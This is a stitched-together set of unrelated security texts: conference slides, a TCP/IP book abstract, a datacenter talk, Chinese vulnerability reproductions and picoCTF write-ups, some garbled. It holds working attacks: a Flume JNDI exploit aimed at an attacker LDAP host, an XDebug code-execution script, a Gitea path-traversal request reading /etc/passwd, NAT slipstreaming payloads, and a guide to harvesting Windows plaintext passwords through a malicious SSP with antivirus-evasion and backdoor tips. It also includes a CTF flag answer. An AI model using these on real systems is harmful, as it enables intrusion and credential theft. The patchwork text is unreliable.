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DEFCON XXI How my Botnet Purchased Millions of Dollars in Cars & Defeated the Russian Hackers I want to tell you a story about...  Hacking  Cars  Russian Hackers  Screwing with the system I want to tell you a story about...  Commercial Botnets  Creating competitive advantages  Not using technology as directed What you'll learn  What makes a good Botnet / Webbot project?  How Bots create competitive advantages for business (example)  What I would do differently today (the example happened 6 years ago) What makes a good Bot project?  The Bot...  Can't recreate Google  Must solve a problem  Be viable for it's service life  Doesn't show it's hand I have permission to tell this story.  It's rare that I get to mention specific projects.  I've been writing about bots since 1999  Medical diagnostics  Privacy  Fraud detection  Private investigations  Governments So the 1st thing I did, was write this.. PLAYING NICE WITH INTERNET ATTACK TECHNIQUES UK Nov 2012 US Dec 2012 The Problem to be Solved  Dealerships that sell new cars make most of their money on used vehicles.  Automobile dealers spend a lot of time & money acquiring (previously owned) inventory.  A client found a website that had great cars for sale.  Unfortunately, due a lot of competition (and bad web design) he wasn't able to buy the cars he wanted. The Opportunity  Daily, a national franchise posted about 300 rental returns for dealerships to purchase.  They could view the cars before the sale.  No car could be purchased before 10AM PDT. The Opportunity MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 Before 10:00am After 10:00am The Opportunity MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 MAKE Hudson MODEL 112 Coupe YEAR 1938 MILES 47,000 CONDITION Excellent PRICE $18,500 Before 10:00am After 10:00am Users had to continually refresh their browser to get


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TCP/IP Fundamentals for Microsoft Windows Microsoft Corporation Published: May 21, 2006 Updated: Jan 9, 2012 Author: Joseph Davies Editor: Anne Taussig Abstract This online book is a structured, introductory approach to the basic concepts and principles of the Transmission Control Protocol/Internet Protocol (TCP/IP) protocol suite, how the most important protocols function, and their basic configuration in the Microsoft Windows Vista, Windows Server 2008, Windows XP, and Windows Server 2003 families of operating systems. This book is primarily a discussion of concepts and principles to lay a conceptual foundation for the TCP/IP protocol suite and provides an integrated discussion of both Internet Protocol version 4 (IPv4) and Internet Protocol version 6 (IPv6). The information contained in this document represents the current view of Microsoft Corporation on the issues discussed as of the date of publication. Because Microsoft must respond to changing market conditions, it should not be interpreted to be a commitment on the part of Microsoft, and Microsoft cannot guarantee the accuracy of any information presented after the date of publication. This content is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS, IMPLIED OR STATUTORY, AS TO THE INFORMATION IN THIS DOCUMENT. Complying with all applicable copyright laws is the responsibility of the user. The terms of use of this document can be found at http://www.microsoft.com/info/cpyright.mspx. Microsoft may have patents, patent applications, trademarks, copyrights, or other intellectual property rights covering subject matter in this document. Except as expressly provided in any written license agreement from Microsoft, the furnishing of this document does not give you any license to these patents, trademarks, copyrights, or other intellectual property. Unless otherwise noted, the example companies, organizations, products, domain names, e-mail addresses, logos, people, places, and events depict


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CVE-2022-34916 JNDI命令执 执漏洞 H1 H2 项介绍 Flume 是种分布式可靠且可的服务于效收集聚合和移动量志数据它具 有基于流数据流的简单灵活的架构它具有可调整的可靠性机制以及许多故障转移和恢复机 制具有健壮性和容错性它使允许在线分析应程序的简单可扩展数据模型 H2 项地址 https://flume.apache.org/ H2 漏洞概述 当攻击者控制标 LDAP 服务器时如果配置使带有 JNDI LDAP 数据源 URI 的 JMS 源 Apache Flume 版本 1.4.0 到 1.10.0 很容易受到远程代码执 (RCE) 攻击通过将 JNDI 限 制为仅允许使 java 协议或不使协议来解决此问题[1] H2 影响版本 Apache Flume 1.4.0-1.10.0 H2 环境搭建 下载部署即可 https://archive.apache.org/dist/flume/1.10.0/ H2 漏洞复现 该漏洞需要使 JNDI具辅助复现可使 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 具 具链接 https://github.com/welk1n/JNDI-Injection-Exploit 命令如下所示 终端开启监听搭建 Flume 项以 jdk1.8 环境运 TestIntegrationActiveMQ 测试类即可 漏洞分析 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a calculator" H2 漏洞分析 查看 commit 能发现新增的校验为了拦截进 else 的 initialContext.lookup(destinationName)这就是这个漏洞的Sink点 查看该 if-else 判断 destinationLocator 等于 JMSDestinationLocator.CDI上溯检查类参数 TestJMSMessageConsumer#testCreateDurableSubscription 初始化了 JMSMessageConsumer 并传 destinationLocator JMSMessageConsumer(...... String destinationName, JMSDestinationLocator destinationLocator ...... destinationLocator 的定义如下所示为了进 JMSMessageConsumer 的 else 循环需要 修改该变量为 JNDI destinationName 由 DESTINATION_NAME 定义需要改为具开启的 ldap链接 JNDI_PREFIX 改为 ldap:// destinationLocator = JMSDestinationLocator.CDI; //改为 jndi 即可 destinationLocator = JMSDestinationLocator.JNDI; //private static final String DESTINATION_NAME = "test"; private static final String DESTINATION_NAME = "x.x.x.x:1389/iq9wuv"; //public static final String JNDI_PREFIX = "dynamicQueues/"; public static final String JNDI_PREFIX = "ldap://"; 该项需要使官提供的Test类作为 source点传参数Test类中只有 TestIntegrationActiveMQ 类存在 testQueueLocatedWithJndi CFG如下所示 按漏洞复现步骤进复现测试即可 H2 修复式 升级到更版本 参考链接 H2 参考链接 [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-34916 [2] https://issues.apache.org/jira/browse/FLUME-3428 [3] https://github.com/apache/flume/commit/7fe9af49c485756e1b618493a5bc00b70d7fb d2d [4] https://lists.apache.org/thread/qkmt4r2t9tbrxrdbjg1m2oczbvczd9zn


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sol = [202, 242, 238, 32, 245, 238, 247, 229, 242, 32, 236, 237, 238, 227, 238, 32, 231, 237, 224, 242, 252, 44, 32, 242, 238, 236, 243, 32, 236, 224, 235, 238, 32, 241, 239, 224, 242, 252, 46, 0] s = open("emulator", "rb").read() s = s[s.find(b"\xd0\x82\x00"):] s = s.split(b"\x00\x00\x00")[0].split(b"\x00") charset = [] for ss in s: try: sss = ss.decode() except: sss = "???" charset.append(sss) def get(c): print(c) if c < 128: return chr(c) else: return charset[c-128] print("".join(get(c) for c in sol))


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Stalking a City for Fun and Frivolity Pull pin, point toward privacy insurance claimant Brendan OConnor Malice Afterthought, Inc. http://www.maliceafterthought.com Everything leaks too much data. At every level, weve forgotten that privacy, not just security, should be a goal. It is no longer possible to blend in to the crowd. Certain assumptions, and many action movies, will have to be adjusted. Every scene where an action hero dives into a mall with 10K people and the Feds say dang, we lost him? Yeah, that wont work anymore. Fundamental changes are needed to ﬁx this. So were probably doomed. But its going to be a fun time in the interim. And I mean both technical changes---more on this later---and cultural ones: it needs to *NOT* be OK to request too much data, let alone to store it or transmit it. And I say this as someone who has worked on software that millions of people use EVERY DAY: we *cannot* leak private data, or we have lost the only thing we do better than our adversaries, and the only reason anyone should trust developers. Foreword: Democratizing Surveillance http://www.ﬂickr.com/photos/68979377@N00/3745750194 I. Foreword: The Democratization of Surveillance A. "Security is really the government's area." 1. This was actually said to me by my sister recently, indicating that I'm failing in my duty to educate my family. 2. Those of us in this room know that the government isn't very good at securing things by means *other* than throwing them in prison for large amounts of time. 3. Nonetheless, the government has a near-monopoly on surveillance. Only the Good Guys http://www.ﬂickr.com/photos/chberge/3753079527 4. When it doesn't, the perception of the general public is that "only good guys" have access to terrifying surveillance technology. This is *our fault* for not correcting this misperception, though groups reporting on, e.g., all the BlueCoat boxes they've found in repressive governments are certainly helping. Heck, PRISM was leaked, and this is *st


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@EyalItkin Mystery Callback No size check: Classic Buffer Overflow 0x000022B6 0x000022B6 Compromised Camera Firmware Update Compromised Camera Firmware Update Compromised Camera Firmware Update Plain Firmware Compromised Camera Firmware Update Plain Firmware Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update No User interaction Needed! Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Malicious Update Compromised Camera! No User interaction Needed! Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Compromised Camera Firmware Update Plain Firmware Malicious Update Malicious Firmware Target Camera Malicious Update Compromised Camera! No User interaction Needed! eyalit@checkpoint.com @EyalItkin


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Fuzzing Linux with Xen DEF CON 29 Tamas K Lengyel 2 dont microwave your pets Performance varies by use, configuration and other factors. Learn more at www.Intel.com/PerformanceIndex. Performance results are based on testing as of dates shown in configurations and may not reflect all publicly available updates. See backup for configuration details. No product or component can be absolutely secure. No license (express or implied, by estoppel or otherwise) to any intellectual property rights is granted by this document. Intel does not control or audit third-party data. You should consult other sources to evaluate accuracy. Intel disclaims all express and implied warranties, including without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement, as well as any warranty arising from course of performance, course of dealing, or usage in trade. Your costs and results may vary. Intel technologies may require enabled hardware, software or service activation.  Intel Corporation. Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries. Other names and brands may be claimed as the property of others.  # whoami 4 tl;dr We fuzzed the device-facing input points of several Linux drivers We built new tools to get it done We open-sourced them We found a bunch of bugs & fixed them Showing you how it was done 5 feedback fuzzers Not just about feeding random input to your target Feedback fuzzers monitor the target execution Collect execution log (aka. coverage) Compare execution from run-to-run New code discovered? Focus on that input! 6 feedback fuzzers Need determinism If your target code behaves differently between executions not due to the fuzzer, the feedback will be just noise 7 xen vm forking Add determinism to kernel-code execution Reset vCPU registers and free copied pages for better speed Parent VM  Page X Page Y Page Z  Fork VM  Shared Page X Copied Page Y Shared Page Z  R W


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# 信息 `记录收集 Linux 系统软硬件信息的命令` --- ## 大纲 * **[软件](#软件)** * [版本信息](#版本信息) * [环境变量](#环境变量) * [开机启动](#开机启动) * [日志](#日志) * [应用服务](#应用服务) * [用户相关](#用户相关) * **[硬件](#硬件)** * [CPU](#CPU) * [内存](#内存) * [时间负载](#时间负载) * [网络](#网络) * [硬盘文件系统](#硬盘文件系统) --- ## 软件 ### 版本信息 ```bash hostname # 查看服务器主机名命令 cat /etc/*-release # 查看通用 Linux 发行版版本 cat /etc/lsb-release # Debian based cat /etc/issue # 查看 Ubuntu Debian 系发行版版本命令 cat /etc/redhat-release # 查看 CentOS RedHat 系发行版版本命令 cat /proc/version # 查看系统版本 ``` **内核信息** ```bash uname -r # 查看内核版本 uname -mrs rpm -q kernel dmesg | grep Linux ls /boot | grep vmlinuz- ``` --- ### 环境变量 ```bash cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set export # 查看所有环境变量 ``` --- ### 开机启动 ```bash chkconfig # 查看开机启动服务命令 ls /etc/init.d # 查看开机启动配置文件命令 cat /etc/rc.local # 查看 rc 启动文件 ``` ### 定时任务 ```bash crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` --- ### 日志 ```bash cat /etc/httpd/logs/access_log cat /etc/httpd/logs/access.log cat /etc/httpd/logs/error_log cat /etc/httpd/logs/error.log cat /var/log/apache2/access_log cat /var/log/apache2/access.log cat /var/log/apache2/error_log cat /var/log/apache2/error.log cat /var/log/apache/access_log cat /var/log/apache/access.log cat /var/log/auth.log # 存储来自可插拔认证模块(PAM)的日志包括成功的登录失败的登录尝试和认证方式 cat /var/log/chttp.log cat /var/log/cups/error_log # 记录打印信息日志的报错信息 cat /var/log/dpkg.log cat /var/log/faillog cat /var/log/httpd/access_log cat /var/log/httpd/access.log cat /var/log/httpd/error_log cat /var/log/httpd/error.log cat /var/log/lastlog # 记录系统中所有用户最后一次登录时间的日志这个文件是二进制文件可以使用 lastlog 命令查看 cat /var/log/lighttpd/access.log cat /var/log/lighttpd/error.log cat /var/log/lighttpd/lighttpd.access.log cat /var/log/lighttpd/lighttpd.error.log cat /var/log/messages # 核心系统日志文件包含系统启动引导系统运行状态和大部分错误信息等都会记录到这个


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Attacking .Net Applications At Runtime By: Jon McCoy Abstract This paper will introduce methodology for attacking .NET programs at Runtime. This attack will grant control over the targets variables, core logic, and the GUI. This attack is implemented with .NET code, and is heavily based on reflection. This paper has a C# implementation of this attack: DotNetSpike Introduction This attack can navigate and control a live program by using the rules of the Runtime system to control other .NET applications. Some rules can be bent others can be broken. Once access to another programs Runtime is gained almost absolute control is at hand. Most every aspect from Objects to Events can be accessed, and most of the time modified. This allows for simple attacks like changing an Objects values or calling functionality, and more complex attacks like introducing or changing the basic logic of the target can be done with ease. With this level of control the target can be forced to divulge protected information, carry out subverted functionality and send corrupted signals. This attack will also allow for accessing the code base and Object structure live. This platform can allow an attack to be developed and implemented in a matter of minutes or hours. Once inside of the target program the necessary references need to be found, and then full power of .NET can be used. After gaining all the references it can be a matter of changing one variable or introducing one line of code to subvert a program's logic. Access Live .NET Program The first step is to establish a connection inside of the targets Runtime; this is done in a number of ways. This can range from compromising the .NET Framework 1 to exploiting a glitch in a specific application. Each method of accessing another applications Runtime has a different impact on stability, foot print and security alerts. Also the method of entry used will change what references are at hand and what if any constraints will be imposed. The method of


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不修改注册表获取 windows 明文密码的若干姿势之 SSP 一 SSP 的作用 Security Support Providers 是一个提供约定回调函数的 dll向系统注册了 SSP 后系统在认证 过程中就会调用此 dll 中的某些函数SSP 必须导出的函数如下 SpLsaModeInitialize SpInitialize SpGetInfo SpShutDown SpAcceptCredentials 在这里我们只需要关心 SpAcceptCredentials 这个回调函数正如名字描述的一 样此函数在系统认证过程中会接收到用户输入的账密我们只需要记录下来就 可以拿到用户的明文账密mimilib 已经贴心地给我们实现了这个功能 二向系统注册我们的 SSP 在此引出 AddSecurityPackage 这个 windows API. MSDN 上对此 API 的功能描述是 Adds a security support provider to the list of providers supported by Microsoft Negotiate. 具体的功能就是让系统去主动加载我们的 SSP在系统认证过程中调用我们的 SPP 里面的回调 与其他获取明文密码的姿势相比 SSP 具有以下优势 这是 windows 提供的功能较为隐蔽 不用直接读写 Lsass 进程内存绕过了 AV 的防护 不需要写注册表和让目标机器重启立即生效 三 验证 环境win10 1909 x64. Windows defender 功能全开 1. 注册 SSP让系统加载 此时 SSP 已经被加载无法删除它 2. 触发用户认证SSP 成功地记录到明文账密功能正常 注意点 实战中 mimilib 特征较多务必要做好免杀经测试将明文密码加密编码更加隐蔽容易 过 AV 检测 SSP 会在机器重启后失效若要作为后门来用请做好持久化 四参考&引用 xpn @_xpn_ (这是个贼啦 NB 的大佬) https://blog.xpnsec.com/exploring-mimikatz-part-2/ 里面具体逆向分析和调试过程 干货挺多 MSDN: https://docs.microsoft.com/en-us/windows/win32/api/sspi/nf-sspi-addsecuritypackagew


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Aura A peer-to-peer reputation system Cat Okita, 2003 Reputation Systems  What is a Reputation System?  Livejournal/Friendster, eBay, Avogato, Slashcode  Why do you care?  What could you use this for?  Establishing trust, performance metrics, meme propagation, spam filtering Challenges  Authentication  Trust  Non-repudiation Design Considerations  Fast, resource efficient  Secure - Difficult to corrupt information or impersonate others  Portable - Easy to use from any location  Simple to use and extend  Independent - not dependant on a centralized server Attacks  Information poisoning  Flooding  Trojans  Identity theft  Impersonation  DoS Implementation  Peer-to-peer  Can also run in collector mode  Reputation Mode  valuation of entity overall (both personal and general) or per template  Gossip Mode  information about other entities A quick check of Reputation  Picking a mailer  Stable, fast, secure?  Finding out about a poster to a mailing list  Crazy, expert, unknown? Configuration  Text-based configuration  Templates for details  Requires use of public key Future Plans  Pretty GUI  Better cross-platform portability  Improved statistical reporting  Implementation of group keys  Trigger automation Finis  Available at:  http://www.geekness.net/tools/aura  Email to:  aura@geekness.net  Questions???


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# investigation_encoded_2 Forensics, 500 points ## Description: > We have recovered a binary and 1 file: image01. See what you can make of it. > NOTE: The flag is not in the normal picoCTF{XXX} format. ## Solution: This is the follow-up challenge for [investigation_encoded_1](investigation_encoded_1.md). The challenges are very similar and therefore we'll only be listing the differences. We start by running the new binary: ```console root@kali:/media/sf_CTFs/pico/investigation_encoded_2# ./mystery Error: file ./flag.txt not found root@kali:/media/sf_CTFs/pico/investigation_encoded_2# echo abcde>flag.txt root@kali:/media/sf_CTFs/pico/investigation_encoded_2# ./mystery Segmentation fault ``` Let's just open it with Ghidra. The main function is: ```c undefined8 main(void) { long lVar1; size_t sVar2; undefined4 local_18; int local_14; FILE *local_10; badChars = '\0'; local_10 = fopen("flag.txt","r"); if (local_10 == (FILE *)0x0) { fwrite("Error: file ./flag.txt not found\n",1,0x21,stderr); /* WARNING: Subroutine does not return */ exit(1); } flag_size = 0; fseek(local_10,0,2); lVar1 = ftell(local_10); flag_size = (int)lVar1; fseek(local_10,0,0); login(); if (0xfffe < flag_size) { fwrite("Error, file bigger than 65535\n",1,0x1e,stderr); /* WARNING: Subroutine does not return */ exit(1); } flag = malloc((long)flag_size); sVar2 = fread(flag,1,(long)flag_size,local_10); local_14 = (int)sVar2; if (local_14 < 1) { /* WARNING: Subroutine does not return */ exit(0); } local_18 = 0; flag_index = &local_18; output = fopen("output","w"); buffChar = 0; remain = 7; fclose(local_10); encode(); fclose(output); if (badChars == '\x01') { fwrite("Invalid Characters in flag.txt\n./output is corrupted\n",1,0x35,stderr); } else { fwrite("I\'m Done, check file ./output\n",1,0x1e,stderr); } return 0; } ``` We proceed to `encode()`: ```c void encode(void) { byte bVar1; ulong uVar2; int iVar3; int local_10; char current_char; while (*flag_index < flag_size) { uVar2 = lower(*(byte *)(*flag_index


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# XDebug 远程调试漏洞代码执行 XDebug是PHP的一个扩展用于调试PHP代码如果目标开启了远程调试模式并设置`remote_connect_back = 1` ``` xdebug.remote_connect_back = 1 xdebug.remote_enable = 1 ``` 这个配置下我们访问`http://target/index.php?XDEBUG_SESSION_START=phpstorm`目标服务器的XDebug将会连接访问者的IP或`X-Forwarded-For`头指定的地址并通过dbgp协议与其通信我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码 更多说明可参考 - https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface - https://xdebug.org ## 测试环境 编译及启动测试环境 ``` docker compose build docker compose up -d ``` 启动完成后访问`http://your-ip:8080/`即可发现主页是一个简单的phpinfo在其中可以找到xdebug的配置可见开启了远程调试 ## 漏洞利用 因为需要使用dbgp协议与目标服务器通信所以无法用http协议复现漏洞 我编写了一个[漏洞复现脚本](exp.py)指定目标web地址待执行的php代码即可 ``` # 要求用python3并安装requests库 python3 exp.py -t http://127.0.0.1:8080/index.php -c 'shell_exec('id');' ``` ![](1.png) **重要说明因为该通信是一个反向连接的过程exp.py启动后其实是会监听本地的9000端口可通过-l参数指定并等待XDebug前来连接所以执行该脚本的服务器必须有外网IP或者与目标服务器处于同一内网**


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# Gitea 1.4.0 目录穿越导致命令执行漏洞 Gitea是从gogs衍生出的一个开源项目是一个类似于GithubGitlab的多用户Git仓库管理平台其1.4.0版本中有一处逻辑错误导致未授权用户可以穿越目录读写任意文件最终导致执行任意命令 参考链接 - https://security.szurek.pl/gitea-1-4-0-unauthenticated-rce.html - https://www.leavesongs.com/PENETRATION/gitea-remote-command-execution.html ## 漏洞环境 执行如下命令启动启动漏洞环境 ``` docker compose up -d ``` 环境启动后访问`http://you-ip:3000`将进入安装页面填写管理员账号密码并修改网站URL其他的用默认配置安装即可不要修改端口号 安装完成后创建一个公开的仓库随便添加点文件进去比如使用选定的文件和模板初始化仓库 ![](1.png) 然后需要执行一次`docker compose restart`重启gitea服务原因详见第二个参考链接 ## 漏洞复现 由于漏洞链整体利用比较复杂我们只复现文件读取部分剩余利用方法详见第二个参考链接 打开gitea找到刚才创建的公开项目如`vulhub/repo`发送如下数据包添加一个Git LFS对象 ``` POST /vulhub/repo.git/info/lfs/objects HTTP/1.1 Host: your-ip:3000 Accept-Encoding: gzip, deflate Accept: application/vnd.git-lfs+json Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 151 { "Oid": "....../../../etc/passwd", "Size": 1000000, "User" : "a", "Password" : "a", "Repo" : "a", "Authorization" : "a" } ``` 然后访问`http://your-ip:3000/vulhub/repo.git/info/lfs/objects/......%2F..%2F..%2Fetc%2Fpasswd/sth`即可看到`/etc/passwd`已被成功读取 ![](2.png)


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bypass NAT 0x00 portswiggertop-10-web-hacking-techniques-of-2020-nominations-open2020 https://portswigger.net/research/top-10-web-hacking-techniques-of-2020-nominations-open https://samy.pl/slipstream/ NATslipstreaming nat nat rrrrrr 0x01 nat slipstreamhttps://samy.pl/slipstream/ https://forum.butian.net/share/88 github2009https://github.com/rtsisyk/linux-iptables-contrack-exploit nf_conntrackhttps://clodfisher.github.io/2018/09/nf_conntrack/ iptables sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT inputESTABLISHEDtcpubuntu https://help.ubuntu.com/community/IptablesHowTo ESTABLISHEDtcp inputtcpRELATEDALG ALGFTPRELATEDALG TCPTCP ALGwiki ALGNAT2010 nat slipstreamSIPFTP SIP 1. SIP 2. 3. jspost 4. MTUpostSIP 5. SIPRELATED 0x02 FTP ALG SIPSIPFTP iptablesFTP FTPALG 1. nf_conntrack 2. nf_conntrack_ftp 3. inputrelated nf_xxxLinuxubuntu20 nf_conntrack_ftpftpALGLinux ubuntu20 FTP https://www.cnblogs.com/mawanglin2008/articles/3607767.html FTP USER admin PASS admin PORT 127,0,0,1,0,22 port portip8848 0x22900x220x9034,144127.0.0.18848 PORT 127,0,0,1,34,144 EPRT |1|127.0.0.1|8848| payloadport 0x03 1. TCP 2. 3. SSRFSSRFSSRF SSRF SSRFSSRF GET nf_conntrack_ftp 1. ESTABLISHED 2. 3. TCP PAYLOAD 4. PORTEPRT 5. 6. 21 httptcp http tcp flagpush1pushtcphttptcp tcptcppush HTTPSSRF 1. gophergophertcppayloadpush 2. 30xhttp30x30x payloadPORThttpGETPOST 3. pipelinepipelinepipeline 4. httppushhttptrunk 0x04 http curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21 postpush 1 1post Expect: 100-continue https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/100 post bodyExpectpost body post bodypushtcp SSRF curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21 phpcurl https://gist.github.com/perusio/1724301 phpcurlpost1024expect php post 1. body1024 2. 3. phpdemo <?php for ($i=0; $i < 1; $i++) { echo "$i"; request("http://172.28.64.142:21"); } function request($url) { $requestData = "EPRT |1|172.28.64.19|8848


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RFID Hacking Live Free or RFID Hard 03 Aug 2013  DEF CON 21 (2013)  Las Vegas, NV Presented by: Francis Brown Bishop Fox www.bishopfox.com Agenda 2  Quick Overview  RFID badge basics  Hacking Tools  Primary existing RFID hacking tools  Badge stealing, replaying, and cloning  Attacking badge readers and controllers directly  Planting Pwn Plugs and other backdoors  Custom Solution  Arduino and weaponized commercial RFID readers  Defenses  Protecting badges, readers, controllers, and more O V E R V I E W Introduction/Background 3 GETTING UP TO SPEED Badge Basics 4 Name Frequency Distance Low Fequency (LF) 120kHz  140kHz <3ft (Commonly under 1.5ft) High Frequency (HF) 13.56MHz 3-10 ft Ultra-High-Frequency (UHF) 860-960MHz (Regional) ~30ft F R E Q U E N C I E S Legacy 125kHz 5 S T I L L K I C K I N 80%  Legacy 125-kilohertz proximity technology is still in place at around 70% to 80% of all physical access control deployments in the U.S. and it will be a long time - Stephane Ardiley, HID Global.  There is no security, theyve been hacked, theres no protection of data, no privacy, everything is in the clear and its not resistant to sniffing or common attacks. Opposite of Progress 6 T A L K M O T I V A T I O N S 2007 2013 HID Global - Making the Leap from Prox to Contactless ID Cards https://www.hidglobal.com/blog/making-leap-prox-contactless-id-cards How a Card Is Read 7 P O I N T S O F A T T A C K Card Reader Controller Wiegand output Host PC Ethernet Card  Broadcasts 26-37 bit card number Reader  Converts card data to Wiegand Protocol for transmission to the controller  No access decisions are made by reader Controller  Binary card data format is decoded  Makes decision to grant access (or not) Host PC  Add/remove card holders, access privileges  Monitor system events in real time Badge Types 8  The data on any access card is simply a string of binary numbers (ones and zeros) of some fixed configuration and length, used to identify the cardholder  HID makes different type


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Urban Exploration - A Hackers View phreakmonkey (K.C.) mutantMandias (Mandias) phreakmonkey.com Latest Slides: http://phreakmonkey.com/dc16-ue.zip DISCLAIMER Urban Exploration can be dangerous. Trespassing can get you arrested, jailed, or killed. Falling great distances can kill you. Exposure to asbestos, dangerous chemicals, lack of oxygen, fire, electricity, or gang violence may be dangerous to your health. Neither phreakmonkey nor mutantMandias advocate any behavior talked about, written about, photographed, or implied in this presentation. Neither phreakmonkey nor mutantMandias are lawyers, and nothing in this presentation should be construed as legal advice. Neither phreakmonkey or mutantMandias are physicians, and nothing in this presentation should be construed as medical advice. In fact, phreakmonkey and mutantMandias are both full of shit - and nothing in this presentation should be construed as serious advice whatsoever. Background: What is Urban Exploration? Urban Exploration is the practice of discovering, exploring, and often photographing the more off-beat areas of human civilization. This hobby consists of a lot more than just poking about in abandoned buildings and storm drains and hanging out on web boards trying to impress people. Being an urban explorer is a whole way of looking at the world, where every ladder, door, window, grate and hole in the ground is a possible portal to adventure. - Jeff Chapman (Ninjalicious), 2004 What do we explore? Civil Buildings: Hospitals, Schools, Institutions Industrial Buildings: Factories, Transportation Utilities & Infrastructure: Steam Tunnels, Storm Drains, Utility Corridors Residential Hotels, High-rises, Houses (Shanties) Elementary School, Atlanta, GA Prison, Atlanta, GA Paint Factory, Atlanta, GA Rail Car Factory, Atlanta, GA Steam Tunnels, Atlanta, GA Terminology What Hackers Say 'leet, uber homeless person, bum script kiddie exploit, 'sploit What Explorers Say epic urban camper, hobo tourist PoE (point-


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百度数据中心自动化平台演进 百度系统部 高级项目经理 陆川 2015-04-24 目录 IDC自动化平台的定义 1 2 3 百度IDC自动化平台演进 IDC自动化平台的未来 IDC内部 百度IDC运营平台 分布式集群 Web/DB 业务监控 部署 上线 业务运维 IDC运营平台 资源管理 容量管理 监控报警 资源管理 网络 交换机上架 服务器 上架 DNS 负载均衡 初始化 故障处理 供电 空调 冷机 机房    变更管理 百度IDC自动化平台-why  百度每年在IDC上的投入  上架交付3000台机器需要多长时间 百度IDC自动化平台-why 2010 2011 2012 2013 2014 百度服务器保有量 历史上的今天 IDC自动化平台-建立 机器规模 千级 Table.js if{  }elseif{  }else{  IDC自动化平台-扩张 机器规模 万级 变更管理 资源管理 可视化 商业流程引擎 权限管理 配置管理 BPM 数据库 用户管理 业务层 基础层 故障管理 IDC自动化平台-扩张 机器规模 万级 商业流程引擎 流程数量2100+ 流程越来越复杂 效率要求越来越高 crontab 自动任务 控制器 参数定制 周期控制 状态控制 通知机制 IDC自动化平台-成长 机器规模 十万级 机器上线流程 50 8 机器重装流程 50 8  操作时间不可控  优先级不可控  工作量不均等  业务逻辑过于复杂  代码很难复用 IDC自动化平台-成长 机器规模 十万级 流程A 流程B 流程C OP1 OP2 OP3 OP4  原子操作 抽象 按需组合 操作A OP1 OP3 OP5 操作B OP1 OP6 操作C OP2 OP4 OP6 IDC自动化平台-成长 机器规模 十万级 50台机器重装 50台机器上架 10台机器申请vip 流程处理 业务队列 审核确认 校验拆分 serverA | 重装 serverB | 重装 serverC | 上架 serverD | VIP 单机操作 IDC自动化平台-成长 机器规模 十万级 serverA | 重装 serverD | VIP 任务接收 任务处理 校验参数处理 拆分下发 serverA | 重装 | 发送安装参数 | RADI5 serverD | vip | 分配IP | XX集群 serverE | 上架 | 2 serverE | 上架 | 安装校验 | IP/RAID 单机原子操作 重装序列 1 OP1 2 OP2 3 OP3 单机操作 IDC自动化平台-成长 机器规模 十万级 serverA | 重装 | 发送安装参数 | RADI5 serverD | vip | 分配IP | XX集群 serverE | 上架 | 安装校验 | IP/RAID 操作调度 校验缓存调度 workA workB workC 松耦合 定制接入 单机原子操作 IDC自动化平台-成长 机器规模 十万级 serverA | 重装 | 发送安装参数 | RADI5 serverD | vip | 分配IP | XX集群 serverE | 上架 | 安装校验 | IP/RAID 任务队列 事件中心 运维中心 成功-继续下一个操作 失败-转人工运维 原子操作结果 Protal IDC自动化平台-成长 机器规模 十万级 50 28 1 1 1 1 1  流程处理 业务处理 审核 确认 开放平台 300 任务处理层 操作调度层 事件中心 运维中心 超时管理 任务监控 智能分配 集中处理 IDC自动化平台-成长 机器规模 十万级 2010 2011 2012 2013 2014 服务器平均操作时间 2010 2011 2012 2013 2014 网络平均操作时间 IDC自动化平台-成长 机器规模 十万级 2010 2014 人员组成 开发 运维 -10% 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100% 2010 2014 自动化成功率 IDC自动化平台-成长 机器规模 十万级 操作调度 集群操作系统 业务运维系统 监控系统 IDC对象 自动化体系结构 外包服务平台 数据统计分析 外部平台 IDC自动化平台-未来 机器规模 百万级 业务监控 IDC监控 CMDB 模式识别 调度处理 可视化 扩容缩容 故障恢复 智能化 结束语  致谢  感谢我的家人  感谢InfoQ & 2015QconBeijing  感谢百度系统部&技术管理部  招最优秀的人才  简历发送至atm_hr@baidu.com  参考资料  百度发布2014年第四季度财报  日交付3000台 百度携浪潮刷新服务器记录 Q&A Thanks 微信silentime @InfoQ infoqc


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# pastaAAA Forensics, 350 points ## Description: > This pasta is up to no good. There MUST be something behind it. ![](images/pasta1.png) ## Solution: Using `stegsolve` or [this online tool](https://georgeom.net/StegOnline/image), it's possible to browse through all available planes. We eventually find the following hidden layer: ![](images/pasta2.png) The flag: `picoCTF{pa$ta_1s_lyf3}`.


